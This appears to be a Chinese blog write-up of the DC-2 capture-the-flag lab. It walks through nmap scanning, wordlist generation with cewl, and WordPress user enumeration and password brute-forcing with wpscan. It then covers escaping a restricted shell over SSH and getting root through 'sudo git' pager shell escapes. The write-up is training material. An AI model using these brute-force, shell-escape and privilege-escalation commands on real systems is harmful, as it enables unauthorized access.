环境配置
开始之前让我们先来看看靶机与攻击机的配置,两者均是NAT模式
kali ip:192.168.13.128

靶机复现

开启DC2靶机后 无法得到IP地址 
首先使用NMAP探测靶机IP地址
nmap -sP 192.168.13.1/24
发现靶机IP为 192.168.13.131

08748-tno7kyc8ib.png

扫描其开放端口

nmap -A -Pn 192.168.13.131 -p 1-65535 

38146-lxh9wv1wu.png

可以看到开放了80web服务 还有ssh 端口为7744
然后可以看到nmap给出我们无法跟踪跳转到http://dc-2/
需要我们添加Hosts地址 不然无法访问

18375-ddh1zpwqnk5.png

访问http://dc-2/ 发现是wordpress

30477-2cw3i7h9xus.png

发现flag1
提示
您惯用的字词列表可能无法正常工作,
密码越多越好,但有时您根本无法获取所有密码。
反正就是提示我们要去收集密码

92682-oqo9js8z20r.png

使用工具cewl爬虫抓取页面信息生成字段来生成密码进行爆破。

cewl http://dc-2/ -w ~/Desktop/dc2_passwd.txt

20003-awphcy46gc7.png

然后使用wordpress专用扫描器wpscan进行网站扫描并且扫描其存在的用户名

wpscan --url http://dc-2 -e u

85320-0t47rqm3z3mp.png

发现3个用户

admin 
jerry
tom

然后根据刚刚生成的密码对这几个用户进行爆破

wpscan --url http://dc-2  -P dc2_passwd.txt

90572-vro61rmxeb.png

爆破出2个密码

Username: jerry, Password: adipiscing
Username: tom, Password: parturient

登录默认后台(wp-admin)查看
用jerry账号登录
找到flag2

93381-wbz3u1wz6w.png

26383-4uj20um25cj.png

根据提示,需要找到另一个切入点,所以可能需要从另一个7744(ssh)端口入手

使用ssh登录查看

ssh tom@192.168.13.131 -p 7744

22198-7to9co7hkwm.png
虽然发现flag3.txt
但发现cat命令无法使用
查看环境变量
echo $PATH
发现只有4个命令可以用
81160-e2nxipfqzzn.png
这种情况为Restricted shell(受限制的shell)
详细绕过可参考文章
https://www.freebuf.com/articles/system/188989.html
添加环境变量来绕过

BASH_CMDS[a]=/bin/sh;a
$ export PATH=$PATH:/bin/
$ export PATH=$PATH:/usr/bin

40282-8833vmvu7iu.png

查看flag3.txt

77206-ijuvdpxog1p.png

提示我们通过su切换到Jerry账户
利用之前爆破出的密码成功切换到jerry用户
发现flag4

37278-43ltluve7k6.png

提示我们用git提权
查看jerry可以以root用户的身份执行git命令并且不需要密码

35617-hlntysyepv7.png

git使用的是帮助信息未显示完全可以输入命令打开shell
注意:一定要把终端窗口上下拉窄一些,使得回显信息一页无法显示完全

两种方法

1、sudo git help config #在末行命令模式输入 
!/bin/bash 或 !'sh' #完成提权 
2、sudo git -p help 
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell

sudo git help config

09204-goc3mlw9it.png

sudo git -p help

51190-eb49gadtg3.png

12481-voor0yr8tb.png
成功提权到root
查看最终的flag


本文由 wulaoban 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论